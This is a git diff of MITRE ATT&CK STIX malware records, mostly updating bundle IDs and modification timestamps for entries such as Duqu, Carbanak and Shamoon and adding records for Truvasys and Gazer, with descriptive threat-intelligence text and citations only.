--- a/enterprise-attack/malware/malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6.json
+++ b/enterprise-attack/malware/malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b6698e76-3ecc-49af-a227-b38ffdb93f8e",
+    "id": "bundle--48579151-ef47-4430-bf5b-958652effaa8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:15.994Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "BS2005",
             "description": "BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011. (Citation: Villeneuve et al 2014)\n\nAliases: BS2005",
             "labels": [
diff --git a/enterprise-attack/malware/malware--687c23e4-4e25-4ee7-a870-c5e002511f54.json b/enterprise-attack/malware/malware--687c23e4-4e25-4ee7-a870-c5e002511f54.json
index 251d065858..3e79871eca 100644
--- a/enterprise-attack/malware/malware--687c23e4-4e25-4ee7-a870-c5e002511f54.json
+++ b/enterprise-attack/malware/malware--687c23e4-4e25-4ee7-a870-c5e002511f54.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--7ce4c94a-d1c6-4158-8f40-8f89e3a86948",
+    "id": "bundle--1c17606d-92c3-4def-a261-7b7b902b7d37",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:41.750Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "DustySky",
             "description": " (Citation: DustySky) is multi-stage malware written in .NET that has been used by Molerats since May 2015. (Citation: DustySky) (Citation: DustySky)2\n\nAliases:  (Citation: DustySky), NeD Worm",
             "labels": [
diff --git a/enterprise-attack/malware/malware--68dca94f-c11d-421e-9287-7c501108e18c.json b/enterprise-attack/malware/malware--68dca94f-c11d-421e-9287-7c501108e18c.json
index 5bbc881efd..a273e63100 100644
--- a/enterprise-attack/malware/malware--68dca94f-c11d-421e-9287-7c501108e18c.json
+++ b/enterprise-attack/malware/malware--68dca94f-c11d-421e-9287-7c501108e18c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a727b251-5bb0-43b4-a49f-d768f44fa08e",
+    "id": "bundle--5616327e-ba19-48ef-b6c3-21a15f95a65a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:31.188Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Duqu",
             "description": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network. (Citation: Symantec W32.Duqu)\n\nAliases: Duqu",
             "labels": [
diff --git a/enterprise-attack/malware/malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad.json b/enterprise-attack/malware/malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad.json
new file mode 100644
index 0000000000..d54d9f49f0
--- /dev/null
+++ b/enterprise-attack/malware/malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad.json
@@ -0,0 +1,47 @@
+{
+    "type": "bundle",
+    "id": "bundle--4d593f0b-c122-4235-877f-414c9a8b5be7",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--691c60e2-273d-4d56-9ce6-b67e0f8719ad",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Truvasys",
+            "description": "is first-stage malware that has been used by PROMETHIUM. It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)\n\nAliases: Truvasys",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0178",
+                    "external_id": "S0178"
+                },
+                {
+                    "source_name": "Microsoft Win Defender Truvasys Sep 2017",
+                    "description": "Microsoft. (2017, September 15). Backdoor:Win32/Truvasys.A!dha. Retrieved November 30, 2017.",
+                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha"
+                },
+                {
+                    "source_name": "Microsoft NEODYMIUM Dec 2016",
+                    "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.",
+                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/"
+                },
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Truvasys"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8.json b/enterprise-attack/malware/malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8.json
index 247175f2ad..a13991c5eb 100644
--- a/enterprise-attack/malware/malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8.json
+++ b/enterprise-attack/malware/malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--458935a9-a698-4592-9837-c37c263b8a1e",
+    "id": "bundle--540537bf-9072-4226-bbc9-77bb755c3671",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:12.858Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remsec",
             "description": "Remsec is a modular backdoor that has been used by Strider and appears to have been designed primarily for espionage purposes. Many of its modules are written in Lua. (Citation: Symantec Strider Blog)\n\nAliases: Remsec, Backdoor.Remsec, ProjectSauron",
             "labels": [
diff --git a/enterprise-attack/malware/malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9.json b/enterprise-attack/malware/malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9.json
index 237ec91173..1129e345d6 100644
--- a/enterprise-attack/malware/malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9.json
+++ b/enterprise-attack/malware/malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ffe4ea9f-af43-424b-a939-240145ea0a39",
+    "id": "bundle--b8492ab0-4731-4fcf-ad42-aa8b1ac8b30e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:17.568Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sykipot",
             "description": "Sykipot is malware that has been used in spearphishing campaigns since approximately 2007 against victims primarily in the US. One variant of Sykipot hijacks smart cards on victims. (Citation: Alienvault Sykipot DOD Smart Cards) The group using this malware has also been referred to as Sykipot. (Citation: Blasco 2013)\n\nAliases: Sykipot",
             "labels": [
diff --git a/enterprise-attack/malware/malware--6b616fc1-1505-48e3-8b2c-0d19337bff38.json b/enterprise-attack/malware/malware--6b616fc1-1505-48e3-8b2c-0d19337bff38.json
index b60eea8283..54d047febc 100644
--- a/enterprise-attack/malware/malware--6b616fc1-1505-48e3-8b2c-0d19337bff38.json
+++ b/enterprise-attack/malware/malware--6b616fc1-1505-48e3-8b2c-0d19337bff38.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c2395301-55e7-4df1-ba95-c936bf8f620c",
+    "id": "bundle--0b663c41-38e0-49ad-a690-6f5fcc55a74f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:58.226Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rover",
             "description": "Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)\n\nAliases: Rover",
             "labels": [
diff --git a/enterprise-attack/malware/malware--6b62e336-176f-417b-856a-8552dd8c44e1.json b/enterprise-attack/malware/malware--6b62e336-176f-417b-856a-8552dd8c44e1.json
index e7c53c924d..0679065933 100644
--- a/enterprise-attack/malware/malware--6b62e336-176f-417b-856a-8552dd8c44e1.json
+++ b/enterprise-attack/malware/malware--6b62e336-176f-417b-856a-8552dd8c44e1.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--77fb6bf2-a11e-4af3-adf3-84e0332d0804",
+    "id": "bundle--86e6c580-97bf-4b39-ab4e-fe7e0025350f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--6b62e336-176f-417b-856a-8552dd8c44e1",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:58.738Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Epic",
             "description": "Epic is a backdoor that has been used by Turla. (Citation: Kaspersky Turla)\n\nAliases: Epic, Tavdig, Wipbot, WorldCupSec, TadjMakhal",
             "labels": [
@@ -23,7 +23,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/malware/malware--72f54d66-675d-4587-9bd3-4ed09f9522e4.json b/enterprise-attack/malware/malware--72f54d66-675d-4587-9bd3-4ed09f9522e4.json
index 0e5780e470..eb37666cb9 100644
--- a/enterprise-attack/malware/malware--72f54d66-675d-4587-9bd3-4ed09f9522e4.json
+++ b/enterprise-attack/malware/malware--72f54d66-675d-4587-9bd3-4ed09f9522e4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1b34f6fd-23eb-48cf-9b63-9e24ec4ead3a",
+    "id": "bundle--9312f2b0-1659-4789-bdaa-f37e0cb00bbd",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:22.213Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Carbanak",
             "description": "Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak)\n\nAliases: Carbanak, Anunak",
             "labels": [
diff --git a/enterprise-attack/malware/malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab.json b/enterprise-attack/malware/malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab.json
index f9d04ab4c8..7e89c2d6fe 100644
--- a/enterprise-attack/malware/malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab.json
+++ b/enterprise-attack/malware/malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--0acc2ec8-b106-4a89-8619-b4a006a263fe",
+    "id": "bundle--99286e3c-3a0d-4e0b-a42a-9ffd97853800",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:09.453Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "XTunnel",
             "description": "XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)\n\nAliases: XTunnel, X-Tunnel, XAPS",
             "labels": [
diff --git a/enterprise-attack/malware/malware--7551188b-8f91-4d34-8350-0d0c57b2b913.json b/enterprise-attack/malware/malware--7551188b-8f91-4d34-8350-0d0c57b2b913.json
index 28dd5d81cb..054772cc65 100644
--- a/enterprise-attack/malware/malware--7551188b-8f91-4d34-8350-0d0c57b2b913.json
+++ b/enterprise-attack/malware/malware--7551188b-8f91-4d34-8350-0d0c57b2b913.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ec7864e0-2628-428b-af3b-fe155fbce18b",
+    "id": "bundle--6aa22530-688d-4b82-8003-e05e5b8b45e3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:54.416Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Elise",
             "description": "Elise is a custom backdoor Trojan that appears to be used exclusively by Lotus Blossom. It is part of a larger group of\ntools referred to as LStudio, ST Group, and APT0LSTU. (Citation: Lotus Blossom Jun 2015)\n\nAliases: Elise, BKDR_ESILE, Page",
             "labels": [
diff --git a/enterprise-attack/malware/malware--76abb3ef-dafd-4762-97cb-a35379429db4.json b/enterprise-attack/malware/malware--76abb3ef-dafd-4762-97cb-a35379429db4.json
new file mode 100644
index 0000000000..3972d36b0e
--- /dev/null
+++ b/enterprise-attack/malware/malware--76abb3ef-dafd-4762-97cb-a35379429db4.json
@@ -0,0 +1,41 @@
+{
+    "type": "bundle",
+    "id": "bundle--1c50b8d7-58f4-481e-8e32-93c0315456aa",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Gazer",
+            "description": "Gazer is a backdoor used by Turla since at least 2016. (Citation: ESET Gazer Aug 2017)\n\nAliases: Gazer, WhiteBear\n\nContributors: Bartosz Jerzman",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0168",
+                    "external_id": "S0168"
+                },
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Gazer",
+                "WhiteBear"
+            ],
+            "x_mitre_contributors": [
+                "Bartosz Jerzman"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a.json b/enterprise-attack/malware/malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a.json
index bf1675bf28..e86514cea2 100644
--- a/enterprise-attack/malware/malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a.json
+++ b/enterprise-attack/malware/malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4995b8e-081c-4f76-9ba8-3fbde79c03d4",
+    "id": "bundle--2f129363-8bd1-453a-8086-cc0ffca9f9ba",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:44.131Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "3PARA RAT",
             "description": "3PARA RAT is a remote access tool (RAT) programmed in C++ that has been used by Putter Panda. (Citation: CrowdStrike Putter Panda)\n\nAliases: 3PARA RAT",
             "labels": [
diff --git a/enterprise-attack/malware/malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a.json b/enterprise-attack/malware/malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a.json
index 213f76a891..a504caf16c 100644
--- a/enterprise-attack/malware/malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a.json
+++ b/enterprise-attack/malware/malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--475ad647-9806-4660-98f4-a476f34961df",
+    "id": "bundle--434cbc0f-522b-4b9c-8483-1944c819008d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "KOMPROGO",
             "description": "KOMPROGO is a signature backdoor used by APT32 that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)\n\nAliases: KOMPROGO",
             "labels": [
diff --git a/enterprise-attack/malware/malware--7f8730af-f683-423f-9ee1-5f6875a80481.json b/enterprise-attack/malware/malware--7f8730af-f683-423f-9ee1-5f6875a80481.json
index e63f9463d6..4533feac71 100644
--- a/enterprise-attack/malware/malware--7f8730af-f683-423f-9ee1-5f6875a80481.json
+++ b/enterprise-attack/malware/malware--7f8730af-f683-423f-9ee1-5f6875a80481.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--dc37fc03-ce12-4155-a3a4-b85445ba126a",
+    "id": "bundle--9259b2fd-fa16-4b82-9c84-ce565f5abe88",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:40.391Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Sys10",
             "description": "Sys10 is a backdoor that was used throughout 2013 by Naikon. (Citation: Baumgartner Naikon 2015)\n\nAliases: Sys10",
             "labels": [
diff --git a/enterprise-attack/malware/malware--800bdfba-6d66-480f-9f45-15845c05cb5d.json b/enterprise-attack/malware/malware--800bdfba-6d66-480f-9f45-15845c05cb5d.json
index 6e2a79dad8..7c94f5fd32 100644
--- a/enterprise-attack/malware/malware--800bdfba-6d66-480f-9f45-15845c05cb5d.json
+++ b/enterprise-attack/malware/malware--800bdfba-6d66-480f-9f45-15845c05cb5d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--6692ecdf-456c-4536-a1c6-562f47ab6e27",
+    "id": "bundle--4fe16074-7979-4b45-bf6d-06b68b00021e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:44.700Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "pngdowner",
             "description": "pngdowner is malware used by Putter Panda. It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple \"download-and-\nexecute\" utility. (Citation: CrowdStrike Putter Panda)\n\nAliases: pngdowner",
             "labels": [
diff --git a/enterprise-attack/malware/malware--80a014ba-3fef-4768-990b-37d8bd10d7f4.json b/enterprise-attack/malware/malware--80a014ba-3fef-4768-990b-37d8bd10d7f4.json
index d4f4ed0a61..3cc8f629fa 100644
--- a/enterprise-attack/malware/malware--80a014ba-3fef-4768-990b-37d8bd10d7f4.json
+++ b/enterprise-attack/malware/malware--80a014ba-3fef-4768-990b-37d8bd10d7f4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--af2ba639-8195-4a51-b280-09d8a9688339",
+    "id": "bundle--1d3f33d8-b1d7-48e9-a200-82074528e03c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:19.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Uroburos",
             "description": "Uroburos is a rootkit used by Turla. (Citation: Kaspersky Turla)\n\nAliases: Uroburos",
             "labels": [
@@ -23,7 +23,7 @@
                 {
                     "source_name": "Kaspersky Turla",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
-                    "url": "https://securelist.com/analysis/publications/65545/the-epic-turla-operation/"
+                    "url": "https://securelist.com/the-epic-turla-operation/65545/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/malware/malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d.json b/enterprise-attack/malware/malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d.json
index 96f257759d..599502d1ec 100644
--- a/enterprise-attack/malware/malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d.json
+++ b/enterprise-attack/malware/malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--910ac582-da1d-4916-a319-862831912193",
+    "id": "bundle--0de4a6da-c066-4b13-9645-80d89c21d4e5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:00.176Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Trojan.Karagany",
             "description": "Trojan.Karagany is a backdoor primarily used for recon. The source code for it was leaked in 2010 and it is sold on underground forums. (Citation: Symantec Dragonfly)\n\nAliases: Trojan.Karagany",
             "labels": [
diff --git a/enterprise-attack/malware/malware--85b39628-204a-48d2-b377-ec368cbcb7ca.json b/enterprise-attack/malware/malware--85b39628-204a-48d2-b377-ec368cbcb7ca.json
index ae8159363b..57c020a61f 100644
--- a/enterprise-attack/malware/malware--85b39628-204a-48d2-b377-ec368cbcb7ca.json
+++ b/enterprise-attack/malware/malware--85b39628-204a-48d2-b377-ec368cbcb7ca.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--178521b6-13cd-45ef-90c9-b0f463680e09",
+    "id": "bundle--b53ac2f0-94f5-4389-92bf-dc6cc88b057d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:15.467Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "TINYTYPHON",
             "description": "TINYTYPHON is a backdoor  that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. (Citation: Forcepoint Monsoon)\n\nAliases: TINYTYPHON",
             "labels": [
diff --git a/enterprise-attack/malware/malware--876f6a77-fbc5-4e13-ab1a-5611986730a3.json b/enterprise-attack/malware/malware--876f6a77-fbc5-4e13-ab1a-5611986730a3.json
index 2fc8f2b005..ee2e646e49 100644
--- a/enterprise-attack/malware/malware--876f6a77-fbc5-4e13-ab1a-5611986730a3.json
+++ b/enterprise-attack/malware/malware--876f6a77-fbc5-4e13-ab1a-5611986730a3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1f8d3755-8000-492c-b34e-c7749a4f6a38",
+    "id": "bundle--116f7b15-6f79-4745-8244-11ed88e826a0",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:01.951Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "T9000",
             "description": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations. (Citation: FireEye admin@338 March 2014) (Citation: Palo Alto T9000 Feb 2016)\n\nAliases: T9000",
             "labels": [
diff --git a/enterprise-attack/malware/malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24.json b/enterprise-attack/malware/malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24.json
index e342121296..7e5327599e 100644
--- a/enterprise-attack/malware/malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24.json
+++ b/enterprise-attack/malware/malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--773cf520-8206-4a4f-9ff7-8ab5b4cd1390",
+    "id": "bundle--bed0bb6e-881b-4ea6-9bf0-5cfa1e9aaf45",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:24.937Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "gh0st",
             "description": "gh0st is a remote access tool (RAT). The source code is public and it has been used by many groups. (Citation: FireEye Hacking Team)\n\nAliases: gh0st",
             "labels": [
diff --git a/enterprise-attack/malware/malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3.json b/enterprise-attack/malware/malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3.json
index 4d3e28c2b2..93c7a557b6 100644
--- a/enterprise-attack/malware/malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3.json
+++ b/enterprise-attack/malware/malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d05939bd-85d2-4c7f-b214-d5ed5ecff218",
+    "id": "bundle--e90093c1-338a-4263-aa35-4577518a73c9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:20.223Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shamoon",
             "description": "Shamoon is malware that was first used by an Iranian group known as the \"Cutting Sword of Justice\" in 2012. The 2.0 version was seen in 2016 targeting Middle Eastern states. (Citation: FireEye Shamoon Nov 2016) (Citation: Palo Alto Shamoon Nov 2016)\n\nAliases: Shamoon, Disttrack",
             "labels": [
